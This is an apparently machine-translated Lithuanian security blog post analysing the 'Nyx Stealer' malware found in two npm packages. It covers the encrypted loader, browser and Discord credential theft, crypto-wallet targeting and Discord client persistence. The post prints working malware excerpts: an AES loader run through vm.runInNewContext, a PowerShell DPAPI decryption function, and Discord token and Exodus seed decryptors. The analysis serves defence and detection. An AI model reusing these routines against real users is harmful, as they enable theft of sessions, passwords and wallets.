npm informacijos vagystė

Naujas npm informacijos vagystės atradimas: Nyx ​​vagis užgrobia Discord sesijas

Lt; DR

„Xygeni“ saugumo tyrimų komanda identifikavo sudėtingą „npm“ informacijos vagystės kampaniją, vykdomą naudojant du kenkėjiškus paketus: konsolė bei selfbot-lofy.

Naujausia versija (consolelofy@1.3.0) įterpia 216 KB AES šifruotą naudingąją apkrovą, kuri iššifruojama vykdymo metu ir vykdoma per vm.runInNewContext()Kadangi kenkėjiška logika yra visiškai užšifruota, statiniai skaitytuvai, pasikliaujantys eilučių tikrinimu, negali stebėti jos elgesio iki vykdymo laiko.

Iššifravus, naudingoji apkrova, vidiniu būdu paženklinta Nyx vagis, tikslai:

  • „Discord“ autentifikavimo žetonai
  • 50+ naršyklės kredencialų parduotuvių
  • Daugiau nei 90 kriptovaliutų piniginės plėtinių
  • „Roblox“, „Instagram“, „Spotify“, „Steam“, „Telegram“ ir „TikTok“ sesijos
  • „Discord“ darbalaukio kliento išlikimas

Buvo pranešta apie visas 20 abiejų paketų versijų, kurios buvo patvirtintos kaip kenkėjiškos.

Techninė šio npm Infostealer apžvalga

Skirtingai nuo tradicinių diegimo metu veikiančių kenkėjiškų programų, ši kampanija remiasi Runtime iššifravimo modelis.

Yra:

  • Nėra kenkėjiškų preinstall or postinstall hooks
  • Nėra akivaizdžių diegimo metu vykstančių tinklo skambučių
  • Nėra paprasto teksto kredencialų rinkimo logikos

Naudingoji apkrova aktyvuojama importuojant modulį. Visas kenkėjiškas turinys yra užšifruojamas ir materializuojasi atmintyje tik vykdymo metu.

Ši konstrukcija specialiai apsaugo nuo aptikimo diegiant paketą.

Kaip šis „npm Infostealer“ iš tikrųjų veikia

Prieš analizuodami, ką vagia Nyx Stealer, turime suprasti kaip tai vykdoma.

Šio npm informacijos vagystės kenkėjiška logika atitinka nuoseklų modelį:

Mažas įkėlėjas iššifruoja didelį užšifruotą naudingąjį apkrovą ir dinamiškai ją vykdo „Node.js“ virtualios mašinos kontekste.

Šis dizainas yra sąmoningas. Užpuolikas neslepia funkcionalumo vien už klaidinimo, jis... visiškai pašalinant kenkėjišką kodą iš statinio matomumo.

Aukšto lygio vykdymo modelis

Aukštu lygiu apvalkalas atlieka keturis dalykus:

  • Iš užkoduotos slaptafrazės, naudodamas SHA-256, išgauna AES raktą
  • Iššifruoja didelį šešioliktainiu koduotu šifruotą tekstą naudodamas AES-256-CBC
  • Vykdo iššifruotą „JavaScript“ kodą naudodamas vm.runInNewContext()
  • Suteikia „smėlio dėžę“, kurioje vis dar veikia galingi vykdymo laiko primityvai

Pagrindinės technikos santrauka

Komponentas Konfigūracija / reikšmė
Algoritmas AES-256-CBC
Raktų išvedimas SHA-256 (slaptafrazė)
Inicializacijos vektorius (IV) 16 baitų, kurių reikšmė yra 0x00
Vykdymas vm.runInNewContext(iššifruota, smėlio dėžė)

Svarbiausia, kad smėlio dėžė praeina per:

  • require
  • process
  • Buffer
  • laikmačiai
  • modulių eksportas

Tai reiškia, kad iššifruotas krovinys išlaiko visas galimybes:

  • Neršto procesai
  • Skaityti ir rašyti failus
  • Skambinkite tinklu
  • Vietinių programų modifikavimas

Tai nėra apribota virtuali mašina. Tai virtuali mašina, naudojama kaip vykdymo batutas.

Vykdymo laiko šifravimo šablonas (pagrindinis vykdymo mechanizmas)

Įkroviklis mažas.
Piktavališkas kūnas – ne.

Žemiau pateikiamas vykdymo modelis, esantis paketo viduje:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Kodėl Ši dalykai

Iššifruotas naudingasis krūvis:

  • Ar ne egzistuoja paprasto teksto pavidalu npm pakete
  • Paprastiems nematomas grep arba statinis eilučių nuskaitymas
  • Materializuojasi atmintyje tik vykdymo metu
  • Vykdomas su visomis „Node“ vykdymo laiko galimybėmis

Šis AES + VM vykdymo derinys yra stiprus elgesio rodiklis, rodantis, kad npm informacijos vagystės bandymas išvengti statinės patikros.

Kitaip tariant:

Jei nuskaitysite paketo šaltinio medį, nematysite vagystės.
Matote iššifravimo įrankį.

Kas nutinka po iššifravimo

Įvykdžius Nyx Stealer, paleidžiamos lygiagrečios duomenų rinkimo bangos.

1 etapas: naršyklės kredencialų išgavimas

Kenkėjiška programa:

  • Atsisiunčia „Python“ vykdymo aplinką iš „NuGet CDN“
  • Įdiegia kriptografines bibliotekas
  • Ištraukia „Chromium“ pagrindu veikiančias kredencialų saugyklas
  • Iššifruoja DPAPI apsaugotas paslaptis

Užuot kompiliavęs vietinius susiejimus, jis naudoja „PowerShell“, kad tiesiogiai iškviestų „Windows DPAPI“.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Šis metodas:

  • Išvengiama kompiliavimo artefaktų
  • Naudoja vietines „Windows“ kriptografijos API
  • Įsilieja į administracines priemones

Tai OS lygio kredencialų iššifravimas, o ne duomenų išgavimas.

2 banga: „Discord“ žetonų iššifravimas

Vagilė supranta protokolą. Ji supranta „Discord“ užšifruotą žetono formatą.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Veiklos srautas:

  • Ištraukite pagrindinį raktą iš „Discord“ Local State
  • Iššifruoti pagrindinį raktą per DPAPI
  • Iššifruoti AES-GCM prieigos rakto blokus
  • Patvirtinkite žetonus naudodami „Discord“ API
  • Praturtinkite „Nitro“, ženkleliais, atsiskaitymo informacija

Tai nėra bendras kredencialų išmetimas. Tai protokolą naudojantis sesijos užgrobimas.

3 banga: kriptovaliutų piniginių taikymas

„npm infostealer“ išvardija:

  • 90+ naršyklės piniginės plėtinių
  • 27 darbalaukio piniginės
  • Šaltos piniginės keliai
  • Išėjimo sėklų failai

Sėklos iššifravimo bandymo pavyzdys:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Jei pavyksta, piniginės pažeidimas yra neatidėliotinas ir negrįžtamas.

Tai rodo kampanijos didžiausią vertę turintį pajamų gavimo vektorių.

Patvarumas naudojant „Discord Desktop Injection“

Surinkus prisijungimo duomenis, Nyx Stealer bando išsaugoti duomenis modifikuodama vietinius duomenis. Discord klientų.

Tikslas:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Veiklos seka

Informacijos vagis atlieka šiuos veiksmus:

  • Nutraukia veikiančius „Discord“ procesus
  • Suranda įdiegtus „Discord“ variantus („Stable“, „Canary“, PTB)
  • Perrašo discord_desktop_core/index.js
  • Įterpia užpuoliko valdomą žiniatinklio kabliuko logiką
  • Paleidžia „Discord“ iš naujo

Tai užtikrina, kad būsimose „Discord“ sesijose automatiškai bus nutekinti nauji autentifikavimo žetonai.

Svarbu tai, kad šis duomenų išsaugojimas nepriklauso nuo suplanuotų užduočių ar registro pakeitimų. Jis naudoja programos lygio kodo modifikavimą – slaptesnį metodą.

Net jei kenkėjiškas npm paketas vėliau pašalinamas, „Discord“ klientas lieka pažeistas.

Techninis palyginimas: „Legitimate Selfbot“ ir „npm Infostealer“

Komponentas Teisėta biblioteka Nyx npm informacijos vagystė
Šifravimas Nėra Pilnai AES užšifruotas naudingasis krovinys
Vykdymo laiko VM Nebūtinas vm.runInNewContext vykdymas
Prieiga prie kredencialų Tik „Discord“ API Naršyklė, piniginės, DPAPI
Išoriniai atsisiuntimai Ne Python vykdymo aplinka per NuGet
Atkaklumas Ne Discord kliento injekcija
monetizacijos Botų automatizavimas Įgaliojimų perpardavimas

Vien šifravimo sluoksnis jau skiria šią kampaniją nuo įprastos atvirojo kodo atšakos.

Teisėtas „Discord“ savarankiškas robotas neturi jokios priežasties šifruoti visos savo kodo bazės, kurti „PowerShell“, kad pasiektų DPAPI, atsisiųsti išorinius vykdymo aplinkus ar modifikuoti darbalaukio programų vidinę struktūrą. Kai šios galimybės atsiranda priklausomybėje, kuri teigia automatizuojanti „Discord“ sąveikas, architektūrinio neatitikimo ignoruoti neįmanoma.

Tyrimo požiūriu, šis npm informacijos vagystės įrankis palieka pėdsakus keliuose sluoksniuose. Tačiau patikimiausi indikatoriai nėra užkoduoti URL adresai ar konkretūs failų keliai, nes jie gali keistis skirtingose ​​versijose. Patvariausi indikatoriai yra struktūriniai.

Paketo lygmeniu stipriausia raudona vėliavėlė yra didelės užšifruotos apkrovos ir vykdymo laiko iššifravimo apvalkalo, kuris nedelsiant paleidžiamas per, derinys vm.runInNewContext()Nors vien šifravimas nėra savaime kenkėjiškas, AES iššifravimo naudojimas ir dinaminis VM vykdymas „Discord“ programos pakete yra labai anomalus.

Pagrindinio kompiuterio lygmenyje įtartini modeliai apima netikėtą DPAPI iššifravimo veiklą, procesų atsiradimą iš „Node.js“ priklausomybės konteksto ir vietinių programų failų modifikavimą, kurių niekada neturėtų keisti trečiųjų šalių bibliotekos. Panašiai tinklo lygmenyje kita reikšminga anomalija yra išorinis „webhook“ stiliaus ryšys, kurį inicijuoja kūrimo priklausomybė.

Kitaip tariant, aptikimo paviršius nėra vienintelis kompromitacijos rodiklis. Grėsmę atskleidžia šifravimo, vykdymo laiko, prieigos prie kredencialų ir atkūrimo elgsenos koreliacija.

Aptikimas ir mažinimas naudojant „Xygeni“

npm informacijos vagystė

Šį „npm“ informacijos vagystę identifikavo „Xygeni“ kenkėjiškų programų ankstyvojo įspėjimo sistema (MEW) per sluoksniuotą elgesio koreliaciją, o ne paprastą parašų atitikimą.

Užuot ieškojusi žinomų kenkėjiškų eilučių, MEW įvertina struktūrinius nukrypimus visame šaltinio medyje. Šiuo atveju aptikimas atsirado dėl kelių signalų suartėjimo: įterptosios AES iššifravimo rutinos modulio įėjimo taške, neatidėliotino vykdymo VM kontekste ir aiškaus galimybių ir ketinimų neatitikimo.

Svarbu tai, kad nė vienas iš šių signalų atskirai neįrodo kenkėjiškų ketinimų. Tačiau analizuojami kartu jie atskleidžia bandymą nuslėpti veikimo laiką. Šis daugiasluoksnis metodas žymiai sumažina klaidingai teigiamų rezultatų skaičių ir tuo pačiu metu nustato didelio patikimumo tiekimo grandinės grėsmes.

Be to, šis atvejis iliustruoja, kodėl vien tik diegimo metu atliekamo patikrinimo nepakanka. Kenkėjiška logika neegzistuoja gyvavimo ciklo scenarijuose. Ji suaktyvėja tik įkėlus modulį ir tampa matoma tik iššifravus atmintyje. Todėl veiksmingai gynybai reikalinga šifravimą suvokianti analizė, elgsenos modelių atpažinimas ir nuolatinis priklausomybių stebėjimas, neapsiribojant diegimo įvykiais.

Registro pašalinimas yra reaktyvus. Vykdymo laiko analizė yra prevencinė.

Kodėl šis npm informacijos vagystės įrankis svarbus

„Nyx Stealer“ atspindi struktūrinę npm pagrindu sukurtos kenkėjiškos programos evoliuciją.

Istoriškai daugelis kenkėjiškų paketų rėmėsi matomais diegimo laiko scenarijais arba akivaizdžiais kredencialų išgavimo galiniais punktais. Tuo tarpu ši kampanija šifruoja savo naudingąją apkrovą, atideda vykdymą vykdymo laikui, naudoja teisėtas operacinės sistemos API ir užtikrina patikimumą patikimose programose.

Todėl užpuolikui nereikia išnaudoti pačios npm infrastruktūros. Vietoj to, ataka pavyksta, nes priklausomybių diegimas reiškia pasitikėjimą. Kūrėjai daro prielaidą, kad bibliotekos importavimas yra saugi operacija, ypač kai ji pateikiama kaip tikėtina populiaraus įrankio atšaka.

Ekosistemoms toliau augant ir daugėjant šakų, ši numanoma pasitikėjimo riba tampa vis patrauklesne atakų vieta. Todėl norint apsisaugoti nuo šiuolaikinių npm informacijos vagysčių, reikia atpažinti architektūrinius modelius, o ne ieškoti statinių eilučių.

Galiausiai ši kampanija sustiprina svarbią pamoką software supply chain securityPavojingiausios grėsmės yra ne tos, kurios iš pirmo žvilgsnio atrodo kenkėjiškos, o tos, kurios atrodo struktūriškai teisėtos, kol vykdymo metu neatskleidžiamas tikrasis jų elgesys.

sca-tools-software-composition-analyses-tools
Prioritetizuoti, pašalinti ir apsaugoti savo programinės įrangos rizikas
Gaukite nemokamą paskyrą.
Nebūtina kreditinės kortelės.

Apsaugokite savo programinės įrangos kūrimą ir tiekimą

su „Xygeni“ produktų rinkiniu